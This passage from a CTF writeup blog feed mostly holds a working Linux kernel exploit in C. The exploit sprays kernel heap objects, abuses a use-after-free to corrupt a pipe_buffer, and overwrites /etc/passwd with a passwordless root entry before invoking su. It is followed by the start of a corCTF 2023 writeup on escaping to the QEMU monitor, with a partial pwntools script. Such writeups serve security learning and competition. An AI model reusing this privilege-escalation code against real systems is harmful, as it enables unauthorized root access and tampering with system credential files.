<span class="k">static</span> <span class="kt">long</span> <span class="nf">free_key</span><span class="p">(</span><span class="n">key_serial_t</span> <span class="n">key</span><span class="p">)</span> <span class="p">{</span>

    <span class="kt">long</span> <span class="n">ret</span> <span class="o">=</span> <span class="n">keyctl</span><span class="p">(</span><span class="n">KEYCTL_REVOKE</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"keyctl revoke"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">ret</span> <span class="o">=</span> <span class="n">keyctl</span><span class="p">(</span><span class="n">KEYCTL_UNLINK</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">KEY_SPEC_PROCESS_KEYRING</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"keyctl unlink"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">alloc_key</span><span class="p">(</span><span class="kt">int</span> <span class="n">id</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">size</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">char</span> <span class="n">desc</span><span class="p">[</span><span class="mh">0x400</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
    <span class="kt">char</span> <span class="n">payload</span><span class="p">[</span><span class="mh">0x400</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
    <span class="kt">int</span> <span class="n">key</span><span class="p">;</span>

    <span class="n">size</span> <span class="o">-=</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">user_key_payload</span><span class="p">);</span>

    <span class="n">sprintf</span><span class="p">(</span><span class="n">desc</span><span class="p">,</span> <span class="s">"payload_%d"</span><span class="p">,</span> <span class="n">id</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">buf</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">memset</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">memcpy</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">key</span> <span class="o">=</span> <span class="n">add_key</span><span class="p">(</span><span class="s">"user"</span><span class="p">,</span> <span class="n">desc</span><span class="p">,</span> <span class="n">payload</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">KEY_SPEC_PROCESS_KEYRING</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">key</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span>
	<span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"add_key"</span><span class="p">);</span>
	<span class="p">}</span>

    <span class="k">return</span> <span class="n">key</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">alloc_pipe_buf</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">pipe</span><span class="p">(</span><span class="n">pipes</span><span class="p">[</span><span class="n">i</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"[X] alloc_pipe_buff()"</span><span class="p">);</span>
        <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">release_pipe_buf</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="p">)</span>
<span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">close</span><span class="p">(</span><span class="n">pipes</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"[X] release_pipe_buf"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">close</span><span class="p">(</span><span class="n">pipes</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"[X] release_pipe_buf"</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">fd1</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">fd2</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">fd3</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">fd4</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
    <span class="kt">uint8_t</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x10000</span><span class="p">];</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">alloc_pipe_buf</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
        <span class="n">write</span><span class="p">(</span><span class="n">pipes</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">],</span> <span class="s">"hello"</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">fd1</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">DEV_PATH</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
    <span class="n">fd2</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">DEV_PATH</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">fd1</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">fd2</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"open"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">close</span><span class="p">(</span><span class="n">fd1</span><span class="p">);</span>

    <span class="n">info</span><span class="p">(</span><span class="s">"spraying userkey structs </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

    <span class="c1">// allocated user_key_payload in place of freed struct</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">keys</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">alloc_key</span><span class="p">(</span><span class="n">n_keys</span><span class="o">++</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">800</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">info</span><span class="p">(</span><span class="s">"closing second fd </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="c1">// free user_key_payload</span>
    <span class="n">close</span><span class="p">(</span><span class="n">fd2</span><span class="p">);</span>

    <span class="n">info</span><span class="p">(</span><span class="s">"Spraying msg ojects </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="c1">// spray msg objects, corrupt userkey payload</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x40</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">alloc_qid</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
        <span class="n">send_msg</span><span class="p">(</span><span class="n">qids</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x400</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
    <span class="kt">uint64_t</span><span class="o">*</span> <span class="n">p_buf</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)</span><span class="n">buf</span><span class="p">;</span>

    <span class="kt">int</span> <span class="n">fd_passwd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/etc/passwd"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">fd_passwd</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"open /etc/passwd"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// call splice on the initial sprayed pipes, causing file-backed pipe_buffer to be allocated.</span>
    <span class="c1">// we will leak these pointers later</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">splice</span><span class="p">(</span><span class="n">fd_passwd</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">pipes</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">1</span> <span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span>  <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">errExit</span><span class="p">(</span><span class="s">"splice"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="c1">// search corrupted user_key_payload for oor</span>
    <span class="kt">int</span> <span class="n">corrupted_userkey</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">keyctl</span><span class="p">(</span><span class="n">KEYCTL_READ</span><span class="p">,</span> <span class="n">keys</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">==</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">corrupted_userkey</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span>
            <span class="n">info</span><span class="p">(</span><span class="s">"Found corrupted userkey payload </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="p">}</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">errExit</span><span class="p">(</span><span class="s">"keyctl read"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="c1">// search file backed pipe_buffer struct</span>
    <span class="kt">int</span> <span class="n">pipe_idx</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">pipe_buf_t</span><span class="o">*</span> <span class="n">initial_buf</span> <span class="o">=</span> <span class="p">(</span><span class="n">pipe_buf_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">p_buf</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
        <span class="n">pipe_buf_t</span><span class="o">*</span> <span class="n">file_backed_buf</span> <span class="o">=</span> <span class="p">(</span><span class="n">pipe_buf_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">p_buf</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">5</span><span class="p">];</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">is_heap_ptr</span><span class="p">(</span><span class="n">initial_buf</span><span class="o">-&gt;</span><span class="n">page</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">is_kernel_ptr</span><span class="p">(</span><span class="n">initial_buf</span><span class="o">-&gt;</span><span class="n">ops</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
            <span class="n">is_heap_ptr</span><span class="p">(</span><span class="n">file_backed_buf</span><span class="o">-&gt;</span><span class="n">page</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="n">is_kernel_ptr</span><span class="p">(</span><span class="n">file_backed_buf</span><span class="o">-&gt;</span><span class="n">ops</span><span class="p">))</span> <span class="p">{</span>

            <span class="c1">// len == 5 because we wrote 5 bytes (hello) to the pipes</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">initial_buf</span><span class="o">-&gt;</span><span class="n">len</span> <span class="o">==</span> <span class="mi">5</span> <span class="o">&amp;&amp;</span> <span class="n">initial_buf</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">==</span> <span class="mh">0x10</span> <span class="o">&amp;&amp;</span> <span class="n">file_backed_buf</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">pipe_idx</span> <span class="o">=</span> <span class="n">i</span><span class="o">+</span><span class="mi">5</span><span class="p">;</span>
                <span class="n">print_hex8</span><span class="p">(</span><span class="n">initial_buf</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">);</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">pipe_idx</span> <span class="o">==</span> <span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Unable to find pipe </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">i</span> <span class="o">!=</span> <span class="n">corrupted_userkey</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">free_key</span><span class="p">(</span><span class="n">keys</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">fd3</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">DEV_PATH</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
    <span class="n">fd4</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">DEV_PATH</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">fd3</span> <span class="o">&lt;</span> <span class="mi">0</span>  <span class="o">||</span> <span class="n">fd4</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">errExit</span><span class="p">(</span><span class="s">"fd3 / fd4"</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">close</span><span class="p">(</span><span class="n">fd3</span><span class="p">);</span>

    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x20</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">alloc_pipe_buf</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
        <span class="n">write</span><span class="p">(</span><span class="n">pipes</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">],</span> <span class="s">"hello"</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// create more file backed pipe_bufs, one of them we will corrupt</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x20</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">splice</span><span class="p">(</span><span class="n">fd_passwd</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">pipes</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">],</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">1</span> <span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">ret</span>  <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">ret</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
            <span class="n">errExit</span><span class="p">(</span><span class="s">"splice"</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>

    <span class="n">pipe_buf_t</span> <span class="o">*</span><span class="n">pipe</span> <span class="o">=</span> <span class="p">(</span><span class="n">pipe_buf_t</span><span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">p_buf</span><span class="p">[</span><span class="n">pipe_idx</span><span class="p">];</span>
    <span class="n">info</span><span class="p">(</span><span class="s">"Pipe data: %p %p %lx </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pipe</span><span class="o">-&gt;</span><span class="n">page</span><span class="p">,</span> <span class="n">pipe</span><span class="o">-&gt;</span><span class="n">ops</span><span class="p">,</span> <span class="n">pipe</span><span class="o">-&gt;</span><span class="n">flags</span><span class="p">);</span>

    <span class="c1">// set PIPE_BUF_FLAG_CAN_MERGE flag on file backed pipe_buf</span>
    <span class="n">pipe</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">;</span>
    <span class="n">pipe</span><span class="o">-&gt;</span><span class="n">len</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>
    <span class="n">pipe</span><span class="o">-&gt;</span><span class="n">offset</span> <span class="o">=</span> <span class="mh">0x0</span><span class="p">;</span>

    <span class="c1">// UAF pipe buf</span>
    <span class="n">close</span><span class="p">(</span><span class="n">fd4</span><span class="p">);</span>

    <span class="kt">char</span> <span class="n">msg_msg_buf</span><span class="p">[</span><span class="mh">0x2000</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>

    <span class="cm">/*** Method 1: corrupt using msg_msg struct ***/</span>
    <span class="c1">// -4 since the first 8 byte will be written by msg_msg_seg-&gt;next</span>
    <span class="n">memcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">msg_msg_buf</span><span class="p">[</span><span class="n">PAGE_SZ</span> <span class="o">-</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">msg_msg_t</span><span class="p">)],</span> <span class="o">&amp;</span><span class="n">p_buf</span><span class="p">[</span><span class="n">pipe_idx</span><span class="o">-</span><span class="mi">4</span><span class="p">],</span> <span class="mh">0x100</span><span class="p">);</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mh">0x40</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x50</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">alloc_qid</span><span class="p">(</span><span class="n">i</span><span class="p">);</span>
        <span class="c1">//send_msg(qids[i], 0x41, 0x400, 0);</span>
        <span class="n">send_msg_payload</span><span class="p">(</span><span class="n">qids</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">msg_msg_buf</span><span class="p">,</span> <span class="n">PAGE_SZ</span> <span class="o">+</span> <span class="mh">0x400</span><span class="p">,</span> <span class="mh">0x0</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="cm">/*** Method 2: corrupt using user_key_payload struct ***/</span>
    <span class="cm">/*
    for (int i = 0x0; i &lt; 0x10; i++) {
        if (i == corrupted_userkey) {
            continue;
        }
        // pipe_idx-2 since user_key_payload takes up 24 bytes so we corrupt starting
        // from pipe-&gt;flags member of the initial pipe_buf in the ringbuffer
        // (so 16 byte left of that struct before we can corrupt file backed)
        keys[i] = alloc_key(n_keys++, &amp;p_buf[pipe_idx-2], 800);
    }
    */</span>

    <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="k">const</span> <span class="n">data</span> <span class="o">=</span> <span class="s">"root::0:0:root:/root:/bin/sh</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x20</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">pipes</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">],</span> <span class="n">data</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">data</span><span class="p">));</span>
        <span class="c1">//read(pipes[i][0], buf, 0x400);</span>
    <span class="p">}</span>

    <span class="n">info</span><span class="p">(</span><span class="s">"Calling system </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"cat /etc/passwd"</span><span class="p">);</span>
    <span class="n">system</span><span class="p">(</span><span class="s">"su"</span><span class="p">);</span>

    <span class="n">WAIT</span><span class="p">();</span>
<span class="p">}</span>
</code></pre></div></div>]]></content><author><name>H0ps</name></author><category term="cybersecurity" /><summary type="html"><![CDATA[Last weekend I played the qualification for the HITCON ctf as part of Maltese Prison Escapees. We got 8th and by that unfortunately missed the final by 1 place :(.]]></summary></entry><entry><title type="html">corCTF 2023</title><link href="https://ollrogge.github.io/cybersecurity/2023/08/02/corCTF2023.html" rel="alternate" type="text/html" title="corCTF 2023" /><published>2023-08-02T00:00:00+00:00</published><updated>2023-08-02T00:00:00+00:00</updated><id>https://ollrogge.github.io/cybersecurity/2023/08/02/corCTF2023</id><content type="html" xml:base="https://ollrogge.github.io/cybersecurity/2023/08/02/corCTF2023.html"><![CDATA[<p>Last weekend I played corCTF with <a href="https://twitter.com/ARESxCTF">ARESx</a> and <a href="https://twitter.com/DeadSec">DeadSec</a>. The ctf was very good and had high quality challenges. We ended up in 7th place. I solved <a href="#zeroday-sec">zeroday</a>, <a href="#kcipher-sec">kcipher</a> and almost <a href="#smm-diary-sec">smm-diary</a> but sadly didn’t have time to finish it. On Kcipher and smm-diary I worked together with my teammate <a href="https://twitter.com/stdnoerr">stdnoerr</a>.</p>

<p>This post is a writeup about the three challenges. The full exploit codes and challenge files can be found in my <a href="https://github.com/Ollrogge/CtfWriteups">repository</a>.</p>

<h2 id="zeroday-sec">zeroday</h2>
<p><img src="/assets/corctf2023-zeroday.png" alt="zeroday" />
Zero day was a kernel pwn challenge with a twist. We are given a linux kernel setup with a very recent kernel an no kernel module to pwn. As the challenge description hints, the bug lays somewhere in the configuration of the challenge rather than in the kernel.</p>

<p>When we look at the qemu run config we see nothing suspicious at the beginning.</p>

<pre><code class="language-txt">qemu-system-x86_64 \
    -s \
    -m 128M \
    -nographic \
    -kernel "./bzImage" \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on" \
    -no-reboot \
    -cpu qemu64,+smep,+smap \
    -smp 2 \
    -initrd "./my_initramfs.cpio.gz"
</code></pre>

<p>While comparing it with configs of other ctf kernel challs I noticed however that <code class="language-plaintext highlighter-rouge">-monitor none</code> option is not supplied. So I tried to enter qemu monitor mode by pressing <code class="language-plaintext highlighter-rouge">CTRL-a c</code> and it worked :)</p>

<p>To get the flag I used the fact that the challenge uses <code class="language-plaintext highlighter-rouge">ramfs</code> and simply dumped the heap using the <code class="language-plaintext highlighter-rouge">x</code> command and then searched for the flag. I obtained a heap address by reading the GS segment register value using the <code class="language-plaintext highlighter-rouge">info registers</code> command.</p>

<h3 id="exploit">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">subprocess</span>
<span class="kn">import</span> <span class="nn">re</span>

<span class="n">io</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"be.ax"</span><span class="p">,</span> <span class="mi">32578</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"work:"</span><span class="p">)</span>
<span class="n">command</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">rstrip</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">"command: "</span><span class="p">,</span> <span class="n">command</span><span class="p">)</span>
<span class="n">process</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">PIPE</span><span class="p">)</span>
<span class="n">stdout</span><span class="p">,</span> <span class="n">stderr</span> <span class="o">=</span> <span class="n">process</span><span class="p">.</span><span class="n">communicate</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">stdout</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"solution:"</span><span class="p">,</span> <span class="n">stdout</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"$"</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">'</span><span class="se">\x01</span><span class="s">'</span> <span class="o">+</span> <span class="s">'c'</span><span class="p">)</span>
<span class="n">io</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"info registers"</span><span class="p">)</span>
<span class="n">bla</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"XMM14"</span><span class="p">)</span>
<span class="n">gs_address</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s">'GS =\S+ (\S+)'</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">bla</span><span class="p">)</span>

<span class="k">if</span> <span class="n">gs_address</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="n">gs_address</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>

